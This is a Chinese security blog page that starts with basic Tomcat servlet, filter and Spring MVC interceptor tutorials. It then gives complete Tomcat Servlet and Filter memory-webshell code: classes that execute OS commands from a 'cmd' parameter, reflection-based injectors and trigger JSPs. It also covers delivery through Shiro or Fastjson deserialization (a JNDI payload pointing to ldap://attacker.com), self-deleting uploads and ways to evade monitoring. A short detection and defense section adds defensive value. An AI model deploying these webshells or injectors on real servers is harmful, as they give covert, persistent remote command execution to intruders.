Capable

Change's a good thing


  • 首页

  • 分类

  • 关于

  • 归档

  • 标签

  • 站点地图

  • 公益404

  • 搜索

Tomcat基础

发表于 2025-12-30 | 分类于 Tomcat |

Tomcat容器

第一个servlet

什么是servlet

Server applet即运行在服务器端的小程序

使用Servlet

package com.asset.sec88539;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/helloServlet")
public class ServletDemo1 implements Servlet {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        servletResponse.getWriter().println("ServletDemo1");
    }

    @Override
    public String getServletInfo() {
        return "";
    }

    @Override
    public void destroy() {

    }
}

使用HttpServlet

import java.io.*;
import javax.servlet.http.*;

public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");

        // Hello
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>" + message + "</h1>");
        out.println("</body></html>");
    }

    public void destroy() {
    }
}
  1. web.xml方式配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">    
    <servlet>
        <servlet-name>hello</servlet-name>
        <servlet-class>com.asset.sec88539.HelloServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
</web-app>

image-20251230145900107

  1. 注解配置
package com.asset.sec88539;

import java.io.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;

@WebServlet(name = "HelloServlet", urlPatterns = "/hello")
public class HelloServlet extends HttpServlet {
    private String message;
    public void init() {
        message = "Hello World!";
    }
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");

        // Hello
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>" + message + "</h1>");
        out.println("</body></html>");
    }

    public void destroy() {
    }
}

image-20251230150040480

servlet之间的继承关系

public class HelloServlet extends HttpServlet
public abstract class HttpServlet extends GenericServlet
public abstract class GenericServlet implements Servlet, ServletConfig, Serializable

image-20251230153609691

image-20251230153720485

image-20251230153700713

第一个filter

package com.asset.sec88539;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/*")
public class FilterDemo1 implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("FilterDemo1");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
    }
}

package com.asset.sec88539;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/hello")
public class FilterDemo2 implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("FilterDemo2");
        filterChain.doFilter(servletRequest, servletResponse);
    }
    @Override
    public void destroy() {
    }
}

image-20251230150712128

image-20251230150724542

第一个Listener

package com.asset.sec88539;

import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.lang.reflect.Field;


@WebListener()
public class listenerMem implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        ServletRequest req = sre.getServletRequest();
        Class reqClass = req.getClass();
        try {
            Field field = reqClass.getDeclaredField("request");
            field.setAccessible(true);
            String cmd = req.getParameter("cmd");
            if (cmd != null) {
                System.out.println("cmd: " + cmd);
            }
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }
}

image-20251230151303797

image-20251230151311662

JSP

什么是JSP

JSP即java sevlet page

三种jsp代码写法与不同

<%=  %>
<% %>
<%! %>
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>

<%
    System.out.println("index.jsp");//在service中
    int i = 5;
%>
<%!
    int i = 3; //定义成员变量,成员方法
%>
<%= i %>// 输出语句定义的内容
</body>
</html>

image-20251230154936073

image-20251230154343280

阅读全文 »

Spring MVC 拦截器

发表于 2025-12-30 | 分类于 Spring MVC |

拦截器配置

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
package com.asset.sec88540;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

public class InterceptorDemo implements HandlerInterceptor{
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle");
        return true;
    }
    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("postHandle");
    }
    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterCompletion");
    }
}
package com.asset.sec88540.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/index")
public class Index {
    @RequestMapping("/index")
    private String pcPay(String name) {
        String form = name + "欢迎来到PC端支付页面";
        System.out.println(form);
        return form;
    }

    @RequestMapping("/login")
    private String login(String name) {
        String form = name + "login";
        System.out.println(form);
        return form;
    }

    @RequestMapping("/info")
    private String info(String name) {
        String form = name + "info";
        System.out.println(form);
        return form;
    }
}
package com.asset.sec88540.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/user")
public class user {
    @RequestMapping("info")
    public String info(String name) {
        String form = name + "  user info";
        System.out.println(form);
        return form;
    }
}
package com.asset.sec88540;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Sec88540Application {

    public static void main(String[] args) {
        SpringApplication.run(Sec88540Application.class, args);
    }

}

xml配置

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:mvc="http://www.springframework.org/schema/mvc"
       xsi:schemaLocation="
        http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd
        http://www.springframework.org/schema/mvc
        http://www.springframework.org/schema/mvc/spring-mvc.xsd">

    <!-- 1. 配置自定义拦截器的Bean实例 -->
    <bean id="interceptordemo" class="com.asset.sec88540.InterceptorDemo"/>

    <!-- 2. 注册拦截器(核心配置:<mvc:interceptors>) -->
    <mvc:interceptors>
        <!-- 方式1:全局拦截器(拦截所有请求,无排除路径) -->
        <!-- 直接嵌套拦截器Bean,对所有DispatcherServlet处理的请求生效 -->
        <!-- <ref bean="customHandlerInterceptor"/> -->

        <!-- 方式2:指定路径拦截器(推荐,精准控制拦截/排除路径) -->
        <mvc:interceptor>
            <!-- 配置需要拦截的路径(支持Ant风格通配符:*匹配单层路径,**匹配多层路径) -->
            <mvc:mapping path="/**"/> <!-- 拦截所有请求 -->
            <!-- 配置需要排除的路径(不拦截的请求,优先级高于mapping) -->
            <mvc:exclude-mapping path="/static/**"/> <!-- 排除静态资源 -->
            <mvc:exclude-mapping path="/login"/> <!-- 排除登录接口 -->
            <!-- 引用自定义拦截器Bean -->
            <ref bean="interceptordemo"/>
        </mvc:interceptor>
    </mvc:interceptors>

</beans>
package com.asset.sec88540;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.ImportResource;

@ImportResource(locations = "classpath:spring-mvc-interceptor.xml")
@SpringBootApplication
public class Sec88540Application {

    public static void main(String[] args) {
        SpringApplication.run(Sec88540Application.class, args);
    }

}

image-20251231154226823

注解配置

package com.asset.sec88540;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.*;

@Configuration
public class MyWebMvcConfigurerAdapter implements WebMvcConfigurer {
    @Bean
    public InterceptorDemo interceptorDemo() {
        return new InterceptorDemo();
    }
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(interceptorDemo()).addPathPatterns("/**");
    }
}

image-20251231152809018

拦截器拦截顺序

  1. 同时命中addPathPatterns和excludePathPatterns,走excludePathPatterns
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(interceptorDemo())
                .addPathPatterns("/index/**")
                .excludePathPatterns("/index/login");
    }
        // /index/index → 在add中、不在exclude → 拦截
        // /index/login → 在add中、但在exclude → 不拦截
        // /user/info → 不在add、不在exclude → 不拦截

image-20260107094032283

  1. 未指定addPathPatterns(使用默认/**)
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(interceptorDemo())
                .excludePathPatterns("/index/login");
    }

image-20260107092923538

阅读全文 »

Java基础

发表于 2025-12-29 | 分类于 Java基础 |

Java基础

字符串操作

流程

阅读全文 »

Java代码审计xxx系统

发表于 2025-12-29 | 分类于 代码审计 |

登录认证绕过

阅读全文 »

Tomcat Servlet 内存马

发表于 2025-12-27 | 分类于 漏洞分析 |

Servlet 内存马

Servlet 型内存马通过在 Tomcat 运行时动态注册恶意 Servlet,映射到指定 URL 路径,访问该路径即可触发命令执行。与 Filter 型内存马的区别在于:Servlet 作用于请求处理的末端(Filter 链之后),但同样不需要文件落地。


一、Tomcat Servlet 架构

1.1 Servlet 在 Tomcat 中的位置

HTTP 请求
    ↓
Connector (CoyoteAdapter)
    ↓
Engine → Host → Context
    ↓
Mapper.map() — URL 路由匹配 → Wrapper
    ↓
StandardWrapperValve.invoke()
    ↓
ApplicationFilterChain → Filter 链
    ↓
Wrapper.getServlet().service()  ← 到这里

1.2 核心类关系

ContainerBase (抽象容器)
├── StandardEngine
├── StandardHost
├── StandardContext       → 管理所有 Wrapper
│   └── children: HashMap<String, Container>
│       └── StandardWrapper@/servletA
│       └── StandardWrapper@/servletB
└── StandardWrapper       → 封装单个 Servlet
    ├── servletClass: String
    ├── servletName: String
    ├── instance: Servlet (单例)
    └── instanceSupport: InstanceSupport (生命周期)

关键数据结构:

组件 作用 位置
StandardWrapper 封装一个 Servlet,管理其生命周期 StandardContext.children
ServletMapping URL 路径到 Wrapper 的映射 Context.servletMappings
Mapper 负责请求 URL 的路由分发 Tomcat 全局单例

1.3 Wrapper 的创建与加载

// Tomcat 启动时创建 Wrapper
// StandardContext.createWrapper()
public Wrapper createWrapper() {
    Wrapper wrapper = new StandardWrapper();
    wrapper.setParent(this);
    return wrapper;
}

// 添加子容器(将 Wrapper 注册到 Context)
wrapper.setName("HelloServlet");
wrapper.setServletClass("com.example.HelloServlet");
context.addChild(wrapper);

// 配置 URL 映射
context.addServletMappingDecoded("/hello", "HelloServlet");

二、动态注册原理

核心思路:获取 StandardContext → 创建 StandardWrapper → 设置 Servlet → 添加为子容器 → 配置 URL 映射。

动态注册步骤:

1. 编写恶意 Servlet 类
2. 获取 StandardContext 对象
3. 检查是否已存在同名 Wrapper(防重复)
4. 创建 StandardWrapper 实例
5. 设置 servletName 和 servletClass
6. 调用 context.addChild(wrapper) 注册
7. 调用 context.addServletMappingDecoded() 配置 URL 映射
8. 调用 wrapper.load() 初始化 Servlet(执行 init())

2.1 URL 映射原理

Tomcat 使用 Mapper 组件做 URL → Wrapper 的路由匹配:

请求: /cmd/shell
    ↓
Mapper.map(MessageBytes, MappingData)
    ↓
遍历 Context 的 ServletMappings
    ↓
匹配成功 → MappingData.wrapper = matchedWrapper
    ↓
StandardContextValve → StandardWrapperValve → servlet.service()

Context.addServletMappingDecoded() 会将映射规则注册到内部 Mapper 中,新增的映射立即生效。


三、完整代码实现

3.1 恶意 Servlet 类

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

public class ServletMemShell extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
            throws IOException {
        handleRequest(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) 
            throws IOException {
        handleRequest(req, resp);
    }

    private void handleRequest(HttpServletRequest req, HttpServletResponse resp) 
            throws IOException {
        String cmd = req.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                // 支持 Windows 和 Linux
                boolean isWindows = System.getProperty("os.name")
                    .toLowerCase().contains("windows");
                String[] fullCmd = isWindows 
                    ? new String[]{"cmd.exe", "/c", cmd}
                    : new String[]{"/bin/sh", "-c", cmd};

                Process process = Runtime.getRuntime().exec(fullCmd);
                InputStream inputStream = process.getInputStream();
                
                // 读取命令输出并回显
                Scanner scanner = new Scanner(
                    inputStream, 
                    System.getProperty("sun.jnu.encoding")
                ).useDelimiter("\\A");
                
                String result = scanner.hasNext() ? scanner.next() : "";
                
                // 同时读取错误流
                InputStream errorStream = process.getErrorStream();
                Scanner errorScanner = new Scanner(
                    errorStream,
                    System.getProperty("sun.jnu.encoding")
                ).useDelimiter("\\A");
                String errorResult = errorScanner.hasNext() ? errorScanner.next() : "";
                
                resp.setContentType("text/html;charset=UTF-8");
                resp.getWriter().write("<pre>" + result + errorResult + "</pre>");
                
                scanner.close();
                errorScanner.close();
            } catch (Exception e) {
                resp.getWriter().write("Error: " + e.getMessage());
            }
        } else {
            resp.getWriter().write("Servlet Memory Shell Active");
        }
    }
}

3.2 注入器代码

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;
import org.apache.catalina.startup.ContextConfig;
import javax.servlet.Servlet;
import java.lang.reflect.Field;

public class ServletMemShellInjector {

    /**
     * 注入 Servlet 内存马
     * @param context StandardContext 对象
     * @param servletName Servlet 名称
     * @param urlPattern URL 映射路径
     */
    public static void inject(StandardContext context, 
                               String servletName, 
                               String urlPattern) throws Exception {
        
        // Step 1: 检查是否已注入
        if (context.findChild(servletName) != null) {
            System.out.println("[!] Servlet already exists: " + servletName);
            return;
        }

        // Step 2: 创建 Wrapper
        StandardWrapper wrapper = (StandardWrapper) context.createWrapper();
        wrapper.setName(servletName);
        wrapper.setServletClass(ServletMemShell.class.getName());
        wrapper.setLoadOnStartup(1);

        // Step 3: 注册为 Context 的子容器
        context.addChild(wrapper);

        // Step 4: 配置 URL 映射
        context.addServletMappingDecoded(urlPattern, servletName);

        // Step 5: 启动 Wrapper(初始化 Servlet 实例)
        wrapper.load();
        wrapper.start();
    }

    /**
     * 从 JSP 或反序列化入口调用
     */
    public static void injectFromRequest(javax.servlet.ServletRequest request) 
            throws Exception {
        // 获取 StandardContext
        StandardContext context = getStandardContext(request);
        inject(context, "ServletMemShell", "/cmd/*");
    }

    private static StandardContext getStandardContext(
            javax.servlet.ServletRequest servletRequest) throws Exception {
        Field requestField = servletRequest.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        org.apache.catalina.connector.Request request = 
            (org.apache.catalina.connector.Request) requestField.get(servletRequest);
        return (StandardContext) request.getContext();
    }
}

3.3 触发注入的 JSP

<%@ page import="org.apache.catalina.core.*, org.apache.catalina.connector.Request,
    java.lang.reflect.Field" %>
<%
    try {
        // 获取 StandardContext
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();

        ServletMemShellInjector.inject(context, "ServletMemShell", "/cmd/*");
        
        out.println("Servlet memory shell injected successfully!");
        out.println("Access: /cmd?cmd=whoami");
    } catch (Exception e) {
        out.println("Injection failed: " + e.getMessage());
        e.printStackTrace(new java.io.PrintWriter(out));
    }
%>

四、代码详解

4.1 Wrapper 与 Filter 的核心差异

对比维度 Filter 内存马 Servlet 内存马
执行位置 Servlet 之前(Filter 链中) Filter 链之后(最终处理)
目标对象 StandardContext.filterDefs StandardContext.children
映射方式 FilterMap 数组 servletMappings + Mapper
覆盖范围 /* 匹配所有请求 精确路径匹配
优先级 靠前插入即优先执行 同等优先级(路径匹配)
生命周期 init() → doFilter() → destroy() init() → service() → destroy()

4.2 context.addChild() 做了什么

// ContainerBase.addChildInternal()
private void addChildInternal(Container child) {
    // 1. 添加到 children 集合
    children.put(child.getName(), child);
    
    // 2. 设置父容器
    child.setParent(this);
    
    // 3. 触发 START 事件
    child.start();
    
    // 4. 通知所有监听器
    fireContainerEvent(ADD_CHILD_EVENT, child);
}

当 Wrapper 被添加为 Context 的子容器后,Tomcat 会自动将其纳入生命周期管理。

4.3 URL 路径匹配规则

Tomcat 支持四种 Servlet 映射规则:

映射模式 示例 优先级
精确匹配 /exact/path 最高
路径匹配 /admin/* 次高
扩展名匹配 *.do 第三
默认匹配 / 最低

/cmd/* 属于路径匹配,命中率仅次于精确匹配。

4.4 防重复注入

if (context.findChild(servletName) != null) {
    return; // 同名 Wrapper 已存在
}

通过 context.findChild(name) 检查是否已存在同名子容器,避免重复注册。


五、利用场景

5.1 作为 Filter 的备用通道

// 场景:目标只允许特定路径通过,Filter 被拦截
// 解法:注入 Servlet 到白名单路径
context.addServletMappingDecoded("/public/health", "ServletMemShell");
// 访问:/public/health?cmd=id

5.2 绕过只检查 Filter 的防御

某些安全产品只监控 FilterDef 和 FilterMap 的变化,不检查 Wrapper 容器:

防御产品监控:
  ✅ FilterDef 注册
  ✅ FilterMap 注册
  ❌ Wrapper 注册(盲区)
  ❌ servletMapping 变更(盲区)

5.3 与 Filter 组合使用

请求 → FilterMemShell (记录日志, 放行)
     → ServletMemShell (执行命令, 回显)

Filter 负责隐蔽性(不干扰正常请求),Servlet 负责功能性(命令执行回显)。


六、检测方式

6.1 通过 JMX 检查 Servlet 列表

# 使用 JMX 查看所有已注册的 Servlet
jconsole → MBeans → Catalina → Context → /your-app → children

6.2 Arthas 在线排查

# 查看 StandardContext 的 children
vmtool --action getInstances \
  --className org.apache.catalina.core.StandardContext \
  --express 'instances[0].children' \
  --limit 10

# 搜索可疑 Wrapper
vmtool --action getInstances \
  --className org.apache.catalina.core.StandardWrapper \
  --express 'instances[0].servletClass' \
  --limit 20

# 查看 Servlet 映射
ognl '@org.apache.catalina.core.StandardContext@servletMappings'

6.3 内存 Dump 分析

# dump 堆内存
jmap -dump:live,format=b,file=servlet.hprof <pid>

# MAT / VisualVM 中搜索
# 1. 列出所有 StandardWrapper 实例
# 2. 检查 servletClass 字段是否为标准类
# 3. 对比基线数据

6.4 基线对比脚本

// 获取当前所有 Servlet 映射
public static Map<String, String> getServletMappings(StandardContext ctx) {
    Map<String, String> mappings = new HashMap<>();
    for (Container child : ctx.findChildren()) {
        if (child instanceof Wrapper) {
            Wrapper w = (Wrapper) child;
            mappings.put(w.getName(), w.getServletClass());
        }
    }
    return mappings;
}
// 与部署时的预期列表对比,找出异常项

七、防御建议

层面 措施 实现方式
运行时 RASP Hook 拦截 ContainerBase.addChild() 调用
运行时 Security Manager 禁止反射访问 StandardContext
监控 JVM Agent 监控 children map 的变更
运维 定期巡检 对比 Servlet 基线
// RASP Hook 示例
@RuntimeType
public static void onAddChild(@This ContainerBase container, 
                               @Argument(0) Container child) {
    if (!isStartupPhase() && container instanceof StandardContext) {
        // 非启动阶段添加子容器 → 可疑行为
        alert("Detected runtime Servlet injection: " + child.getName());
        throw new SecurityException("Suspicious container modification blocked");
    }
}

八、总结

Servlet 内存马与 Filter 内存马的对比:

特性 Servlet 内存马 Filter 内存马
难度 ⭐⭐ ⭐⭐⭐
隐蔽性 ⭐⭐⭐⭐ ⭐⭐⭐
灵活性 ⭐⭐⭐ ⭐⭐⭐⭐⭐
检测难度 较高 中等

选择建议:

  • 优先 Filter:覆盖范围广,能拦截所有请求,适合需要持续监控的场景
  • 备选 Servlet:更隐蔽(部分监控产品不检查 Wrapper),适合作为备用通道
  • 组合使用:Filter + Servlet 双保险,互为备份
延伸阅读:Tomcat Filter 内存马 Tomcat Listener 内存马 Tomcat基础
阅读全文 »

Tomcat Filter 内存马

发表于 2025-12-27 | 分类于 漏洞分析 |

Filter 内存马

内存马是指无文件落地、仅在内存中运行的 Webshell。与传统 JSP Webshell 不同,内存马不依赖磁盘文件,难以被常规文件扫描工具发现。Filter 型内存马利用 Tomcat 的 Filter 机制,在运行时动态注册恶意 Filter,拦截所有 HTTP 请求,是最常见的内存马类型。


一、Tomcat Filter 机制

1.1 Filter 执行流程

HTTP 请求
    ↓
StandardEngine → StandardHost → StandardContext
    ↓
StandardWrapperValve.invoke()
    ↓
ApplicationFilterChain.doFilter()
    ↓
Filter1 → Filter2 → ... → Servlet.service()

当一个 HTTP 请求到达 Tomcat 时,ApplicationFilterChain 负责按照 FilterMap 的顺序依次调用匹配的 Filter,最后到达 Servlet。

1.2 核心类关系

StandardContext
├── filterDefs: HashMap<String, FilterDef>     // Filter 定义
├── filterMaps: FilterMap[]                     // Filter-URL 映射(有序)
├── filterConfigs: HashMap<String, ApplicationFilterConfig>  // Filter 实例配置
└── pipeline (StandardPipeline)
    └── StandardContextValve → StandardWrapperValve

三个关键数据结构:

组件 作用 关键字段
FilterDef 存储 Filter 的元信息 filterName, filterClass, filter, initParameters
FilterMap 定义 Filter 与 URL 的映射关系 filterName, urlPatterns, dispatcherTypes
ApplicationFilterConfig 持有 Filter 实例,管理生命周期 filterDef, filter 实例

1.3 Filter 加载的源码分析

Tomcat 启动时通过 ContextConfig.configureStart() 解析 web.xml 和注解,调用的核心逻辑在 StandardContext 中:

// StandardContext.filterStart() —— 初始化所有 Filter
public boolean filterStart() {
    for (FilterDef filterDef : filterDefs.values()) {
        ApplicationFilterConfig filterConfig = 
            new ApplicationFilterConfig(this, filterDef);
        filterConfigs.put(filterDef.getFilterName(), filterConfig);
    }
    return true;
}
// ApplicationFilterChain.internalDoFilter() —— 请求过滤链
private void internalDoFilter(ServletRequest request, ServletResponse response) {
    if (pos < n) {
        ApplicationFilterConfig filterConfig = filters[pos++];
        Filter filter = filterConfig.getFilter();
        filter.doFilter(request, response, this);
        return;
    }
    // 全部 Filter 执行完毕,进入 Servlet
    servlet.service(request, response);
}

二、动态注册原理

核心思路:利用反射获取 StandardContext 对象,动态向其中添加 FilterDef 和 FilterMap。

2.1 获取 StandardContext

在 Tomcat 中,可以通过多种方式获取当前 StandardContext 对象:

// 方式一:通过 request 获取(需要反射突破访问限制)
ServletRequest request = ...;
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(request);
StandardContext context = (StandardContext) req.getContext();
// 方式二:通过 Thread 获取(JSP 场景)
Field contextField = Thread.currentThread().getContextClassLoader()
    .getClass().getSuperclass().getDeclaredField("resources");
// ... 逐步反射获取 StandardContext
// 方式三:通过 MBean(JMX)
MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
ObjectName name = new ObjectName("Catalina:type=Server");
// 遍历获取 StandardContext

2.2 动态注册步骤

1. 编写恶意 Filter 类(实现 Filter 接口)
2. 获取 StandardContext 对象
3. 创建 FilterDef 并设置 filterName / filterClass / filter
4. 将 FilterDef 添加到 context.filterDefs
5. 创建 FilterMap 并设置 URL 映射
6. 将 FilterMap 插入到 context.filterMaps 数组首位
7. 创建 ApplicationFilterConfig 并添加到 context.filterConfigs

三、完整代码实现

3.1 恶意 Filter 类

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class FilterMemShell implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, 
                         FilterChain chain) throws IOException, ServletException {
        // 从请求中获取命令参数
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                // 执行系统命令(兼容 Windows / Linux)
                boolean isWindows = System.getProperty("os.name")
                    .toLowerCase().contains("windows");
                String[] fullCmd = isWindows 
                    ? new String[]{"cmd.exe", "/c", cmd}
                    : new String[]{"/bin/sh", "-c", cmd};

                Process process = Runtime.getRuntime().exec(fullCmd);
                InputStream inputStream = process.getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext() ? scanner.next() : "";
                
                // 回显命令执行结果
                response.getWriter().write("<pre>" + result + "</pre>");
                scanner.close();
                return; // 不继续调用 chain,直接返回
            } catch (Exception e) {
                response.getWriter().write("Error: " + e.getMessage());
            }
        }
        // 正常请求放行
        chain.doFilter(request, response);
    }

    @Override
    public void destroy() {
    }
}

3.2 注入器代码

import org.apache.catalina.Context;
import org.apache.catalina.core.*;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;

public class FilterMemShellInjector {

    /**
     * 注入 Filter 内存马
     * @param request HttpServletRequest 对象
     */
    public static void inject(ServletRequest request) throws Exception {
        // Step 1: 获取 StandardContext
        StandardContext context = getStandardContext(request);

        // Step 2: 检查是否已注入(避免重复)
        String filterName = "FilterMemShell";
        if (context.findFilterDef(filterName) != null) {
            System.out.println("[!] Filter already injected: " + filterName);
            return;
        }

        // Step 3: 创建 FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(FilterMemShell.class.getName());
        filterDef.setFilter(new FilterMemShell());

        // Step 4: 添加 FilterDef 到 context
        context.addFilterDef(filterDef);

        // Step 5: 创建 FilterMap(映射到所有 URL)
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher("REQUEST");

        // Step 6: 将 FilterMap 插入到首位(确保优先执行)
        context.addFilterMap(filterMap);

        // Step 7: 反射获取并操作 filterConfigs
        Field configsField = StandardContext.class.getDeclaredField("filterConfigs");
        configsField.setAccessible(true);
        Map<String, ApplicationFilterConfig> filterConfigs = 
            (Map<String, ApplicationFilterConfig>) configsField.get(context);

        // 手动创建 ApplicationFilterConfig(绕过生命周期检查)
        Constructor<ApplicationFilterConfig> constructor = 
            ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = 
            constructor.newInstance(context, filterDef);
        filterConfigs.put(filterName, filterConfig);
    }

    /**
     * 从 request 中获取 StandardContext
     */
    private static StandardContext getStandardContext(ServletRequest servletRequest) 
            throws Exception {
        // 反射获取内部的 Request 对象
        Field requestField = servletRequest.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        Request request = (Request) requestField.get(servletRequest);
        return (StandardContext) request.getContext();
    }
}

3.3 触发注入的 JSP

<%@ page import="java.lang.reflect.*, org.apache.catalina.core.*, 
    org.apache.tomcat.util.descriptor.web.*, javax.servlet.*" %>
<%
    try {
        FilterMemShellInjector.inject(request);
        out.println("Filter memory shell injected successfully!");
        out.println("Access: ?cmd=whoami");
    } catch (Exception e) {
        out.println("Injection failed: " + e.getMessage());
        e.printStackTrace();
    }
%>

四、代码详解

4.1 为什么要插入 FilterMap 首位?

ApplicationFilterChain 是按照 filterMaps 数组的顺序依次调用 Filter 的。将恶意 Filter 插入到首位可以保证它在其他 Filter(如鉴权 Filter)之前执行,从而:

  • 绕过认证拦截,直接执行命令
  • 即使后续 Filter 抛出异常,恶意逻辑已经执行完毕
// ApplicationFilterChain 中的匹配逻辑
for (FilterMap filterMap : filterMaps) {
    if (matchFiltersURL(filterMap, requestPath)) {
        ApplicationFilterConfig filterConfig = filterConfigs.get(filterMap.getFilterName());
        if (filterConfig != null) {
            filters.add(filterConfig);
        }
    }
}

4.2 反射创建 ApplicationFilterConfig 的必要性

正常情况下,ApplicationFilterConfig 是由 Tomcat 在启动阶段通过 StandardContext.filterStart() 方法统一创建的。运行时直接向 filterDefs 添加 FilterDef 并不会自动创建 ApplicationFilterConfig,因此需要手动通过反射调用构造函数来完成实例化。

4.3 防止重复注入

if (context.findFilterDef(filterName) != null) {
    return; // 已存在,跳过
}

每次请求都注入会导致内存中产生多个同名 Filter,既不规范也容易被发现。


五、利用场景

5.1 Shiro 反序列化 → 注入内存马

Shiro rememberMe 反序列化获取代码执行能力后,注入 Filter 内存马实现持久化:

// 反序列化 payload 中的代码片段
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
// ... 注册 Filter

利用流程:

Shiro rememberMe Cookie → AES 解密 → 反序列化 → 代码执行
    → 反射获取 StandardContext → 注入 Filter 内存马
    → 访问 /?cmd=whoami → 命令回显

5.2 Fastjson 反序列化 → JNDI 注入

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://attacker.com/EvilClass",
  "autoCommit": true
}

EvilClass 的静态代码块中执行 Filter 注入逻辑。

5.3 文件上传 → 注入后删除

1. 上传 JSP 注入脚本到 web 目录
2. 访问 JSP 触发注入
3. JSP 执行完毕后自我删除(new File(application.getRealPath("/shell.jsp")).delete())
